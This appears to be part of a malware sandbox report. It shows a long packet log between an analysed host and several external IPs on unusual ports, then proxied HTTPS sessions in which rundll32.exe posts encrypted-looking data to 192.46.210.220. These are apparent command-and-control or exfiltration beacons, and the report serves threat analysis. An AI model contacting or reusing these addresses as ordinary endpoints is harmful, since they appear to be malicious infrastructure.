Oct 28, 2021 04:53:51.739042044 CEST	808	50142	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:51.742660046 CEST	50142	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:51.743433952 CEST	50142	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:51.769900084 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:51.905659914 CEST	808	50142	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:51.905883074 CEST	808	50142	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:51.906143904 CEST	50142	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:51.907006025 CEST	50142	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:51.914307117 CEST	50142	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:51.914580107 CEST	50142	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:51.931576014 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:51.931608915 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:51.931879997 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:51.931950092 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:51.937083960 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:51.997005939 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:52.069108009 CEST	808	50142	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:52.076643944 CEST	808	50142	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:52.076865911 CEST	808	50142	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:52.076881886 CEST	808	50142	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:52.118635893 CEST	50143	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:52.118693113 CEST	443	50143	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:52.118824005 CEST	50143	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:52.119870901 CEST	50143	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:52.119896889 CEST	443	50143	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:52.456513882 CEST	808	50142	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:52.456542015 CEST	808	50142	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:52.456717968 CEST	50142	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:52.465250015 CEST	50142	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:52.594660044 CEST	50144	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:52.628755093 CEST	808	50142	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:52.641424894 CEST	443	50143	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:52.641741037 CEST	50143	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:52.643035889 CEST	50143	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:52.643053055 CEST	443	50143	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:52.651576996 CEST	50143	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:52.651599884 CEST	443	50143	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:52.651730061 CEST	50143	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:52.651751041 CEST	443	50143	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:52.760134935 CEST	6891	50144	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:52.760459900 CEST	50144	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:52.761821985 CEST	50144	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:52.927125931 CEST	6891	50144	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:52.927180052 CEST	6891	50144	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:52.927366972 CEST	50144	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:52.928049088 CEST	50144	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:52.933197975 CEST	50144	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:52.933362007 CEST	50144	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:53.098539114 CEST	6891	50144	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:53.098588943 CEST	6891	50144	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:53.098615885 CEST	6891	50144	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:53.359988928 CEST	443	50143	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:53.360074043 CEST	443	50143	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:53.360290051 CEST	50143	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:53.360380888 CEST	50143	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:53.366451979 CEST	50143	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:53.366472006 CEST	443	50143	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:53.478857994 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:53.480087996 CEST	6891	50144	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:53.480112076 CEST	6891	50144	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:53.480205059 CEST	50144	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:53.480237007 CEST	50144	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:53.487751961 CEST	50144	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:53.612837076 CEST	50146	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:53.644253969 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:53.644478083 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:53.645368099 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:53.652982950 CEST	6891	50144	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:53.665293932 CEST	8116	50146	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:53.665788889 CEST	50146	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:53.667587042 CEST	50146	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:53.719988108 CEST	8116	50146	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:53.720037937 CEST	8116	50146	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:53.720144987 CEST	50146	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:53.720900059 CEST	50146	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:53.725739002 CEST	50146	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:53.726064920 CEST	50146	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:53.778985977 CEST	8116	50146	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:53.779416084 CEST	8116	50146	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:53.779934883 CEST	8116	50146	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:53.810767889 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:53.810795069 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:53.810870886 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:53.811674118 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:53.818299055 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:53.818478107 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:53.967494011 CEST	8116	50146	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:53.967516899 CEST	8116	50146	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:53.967607975 CEST	50146	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:53.967853069 CEST	50146	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:53.975096941 CEST	50146	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:53.977150917 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:53.983592033 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:53.983608007 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:53.983701944 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:53.983714104 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:54.027563095 CEST	8116	50146	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:54.092767000 CEST	50147	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:54.092818975 CEST	443	50147	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:54.092919111 CEST	50147	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:54.093595028 CEST	50147	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:54.093620062 CEST	443	50147	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:54.363476038 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:54.363502979 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:54.363826036 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:54.366703987 CEST	50145	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:54.531949043 CEST	808	50145	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:54.541538954 CEST	50148	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:54.581862926 CEST	443	50147	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:54.581979990 CEST	50147	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:54.582544088 CEST	50147	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:54.582550049 CEST	443	50147	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:54.586833954 CEST	50147	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:54.586853981 CEST	443	50147	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:54.587054014 CEST	50147	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:54.587068081 CEST	443	50147	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:54.710323095 CEST	6891	50148	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:54.710521936 CEST	50148	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:54.712002993 CEST	50148	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:54.877696037 CEST	6891	50148	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:54.877799034 CEST	6891	50148	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:54.877991915 CEST	50148	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:54.879211903 CEST	50148	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:54.886539936 CEST	50148	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:54.886676073 CEST	50148	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:55.053005934 CEST	6891	50148	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:55.053559065 CEST	6891	50148	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:55.275710106 CEST	443	50147	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:55.275824070 CEST	443	50147	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:55.275928974 CEST	50147	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:55.275964975 CEST	50147	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:55.281234980 CEST	50147	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:55.281269073 CEST	443	50147	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:55.412828922 CEST	50149	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:55.438194990 CEST	6891	50148	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:55.438218117 CEST	6891	50148	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:55.438337088 CEST	50148	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:55.441834927 CEST	50148	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:55.557776928 CEST	50150	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:55.579587936 CEST	808	50149	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:55.579760075 CEST	50149	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:55.580486059 CEST	50149	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:55.608181953 CEST	6891	50148	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:55.608236074 CEST	8116	50150	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:55.608448982 CEST	50150	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:55.609787941 CEST	50150	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:55.660221100 CEST	8116	50150	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:55.660341024 CEST	8116	50150	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:55.660505056 CEST	50150	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:55.669588089 CEST	50150	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:55.673916101 CEST	50150	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:55.674083948 CEST	50150	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:55.723382950 CEST	8116	50150	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:55.723423004 CEST	8116	50150	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:55.746926069 CEST	808	50149	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:55.747042894 CEST	808	50149	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:55.747292995 CEST	50149	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:55.747915983 CEST	50149	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:55.752057076 CEST	50149	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:55.752235889 CEST	50149	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:55.895513058 CEST	8116	50150	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:55.895561934 CEST	8116	50150	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:55.895755053 CEST	50150	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:55.899960995 CEST	50150	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:55.913280010 CEST	808	50149	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:55.917299986 CEST	808	50149	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:55.917318106 CEST	808	50149	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:55.917978048 CEST	808	50149	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:55.949943066 CEST	8116	50150	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:56.013571978 CEST	50151	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:56.013634920 CEST	443	50151	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:56.013917923 CEST	50151	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:56.015269041 CEST	50151	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:56.015309095 CEST	443	50151	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:56.302105904 CEST	808	50149	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:56.302139997 CEST	808	50149	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:56.302212954 CEST	50149	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:56.302231073 CEST	50149	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:56.308614016 CEST	50149	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:56.420187950 CEST	50152	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:56.473643064 CEST	808	50149	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:56.537355900 CEST	443	50151	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:56.537488937 CEST	50151	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:56.538120031 CEST	50151	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:56.538136959 CEST	443	50151	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:56.541778088 CEST	50151	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:56.541796923 CEST	443	50151	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:56.541867971 CEST	50151	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:56.541879892 CEST	443	50151	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:56.586649895 CEST	6891	50152	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:56.586812973 CEST	50152	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:56.587964058 CEST	50152	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:56.754282951 CEST	6891	50152	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:56.754364014 CEST	6891	50152	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:56.754435062 CEST	50152	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:56.755084991 CEST	50152	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:56.758698940 CEST	50152	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:56.758826971 CEST	50152	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:56.925226927 CEST	6891	50152	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:56.925251007 CEST	6891	50152	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:57.252336025 CEST	443	50151	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:57.252409935 CEST	443	50151	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:57.252590895 CEST	50151	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:57.256091118 CEST	50151	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:57.256114006 CEST	443	50151	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:57.323555946 CEST	6891	50152	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:57.323587894 CEST	6891	50152	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:57.323760986 CEST	50152	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:57.329049110 CEST	50152	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:57.415774107 CEST	50153	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:57.453079939 CEST	50154	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:57.495692015 CEST	6891	50152	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:57.507453918 CEST	8116	50154	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:57.507643938 CEST	50154	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:57.508445978 CEST	50154	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:57.562372923 CEST	8116	50154	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:57.562714100 CEST	8116	50154	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:57.562783003 CEST	50154	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:57.563328981 CEST	50154	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:57.567120075 CEST	50154	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:57.567244053 CEST	50154	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:57.583198071 CEST	808	50153	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:57.583297968 CEST	50153	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:57.584340096 CEST	50153	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:57.621208906 CEST	8116	50154	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:57.621232986 CEST	8116	50154	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:57.751822948 CEST	808	50153	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:57.751857042 CEST	808	50153	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:57.753256083 CEST	50153	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:57.754072905 CEST	50153	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:57.764291048 CEST	50153	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:57.765192986 CEST	50153	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:57.791721106 CEST	8116	50154	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:57.791753054 CEST	8116	50154	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:57.791826010 CEST	50154	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:57.797777891 CEST	50154	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:57.851769924 CEST	8116	50154	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:57.921302080 CEST	808	50153	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:57.930185080 CEST	50155	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:57.930228949 CEST	443	50155	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:57.930355072 CEST	50155	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:57.931459904 CEST	50155	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:57.931476116 CEST	443	50155	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:57.931588888 CEST	808	50153	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:57.932447910 CEST	808	50153	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:57.932468891 CEST	808	50153	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:58.321510077 CEST	808	50153	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:58.321532965 CEST	808	50153	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:58.321614027 CEST	50153	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:58.324755907 CEST	50153	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:58.442922115 CEST	443	50155	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:58.443100929 CEST	50155	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:58.444197893 CEST	50155	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:58.444212914 CEST	443	50155	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:58.448448896 CEST	50155	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:58.448457956 CEST	443	50155	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:58.448477030 CEST	50155	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:58.448492050 CEST	443	50155	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:58.477397919 CEST	50156	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:58.492388964 CEST	808	50153	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:58.643969059 CEST	6891	50156	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:58.644321918 CEST	50156	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:58.645157099 CEST	50156	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:58.811510086 CEST	6891	50156	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:58.811541080 CEST	6891	50156	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:58.813299894 CEST	50156	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:58.814116955 CEST	50156	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:58.818418980 CEST	50156	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:58.818579912 CEST	50156	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:58.984924078 CEST	6891	50156	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:58.984951019 CEST	6891	50156	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:58.984961987 CEST	6891	50156	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:59.138587952 CEST	443	50155	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:59.138680935 CEST	443	50155	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:59.138746023 CEST	50155	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:59.138771057 CEST	50155	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:59.146079063 CEST	50155	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:59.146125078 CEST	443	50155	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:59.365497112 CEST	6891	50156	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:59.365520000 CEST	6891	50156	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:59.365628958 CEST	50156	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:59.365693092 CEST	50156	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:59.368763924 CEST	50156	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:59.535177946 CEST	6891	50156	45.77.0.96	192.168.2.5

HTTP Request Dependency Graph

192.46.210.220

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49748	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:50:54 UTC	0	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:50:54 UTC	0	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:50:55 UTC	4	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:50:55 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49753	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:50:59 UTC	4	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:50:59 UTC	5	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
